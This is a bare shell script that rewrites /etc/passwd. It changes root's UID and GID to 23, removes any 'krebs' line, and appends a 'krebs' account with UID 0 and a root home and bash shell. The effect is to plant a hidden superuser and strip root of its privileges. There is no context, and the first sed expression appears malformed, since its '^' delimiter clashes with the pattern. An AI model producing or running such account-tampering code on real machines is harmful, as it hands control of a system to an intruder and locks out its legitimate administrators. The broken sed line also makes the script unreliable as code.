#! /bin/sh f=/etc/passwd sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f sed -ri '/^krebs/d' $f echo 'krebs:x:0:0::/root:/bin/bash' >>$f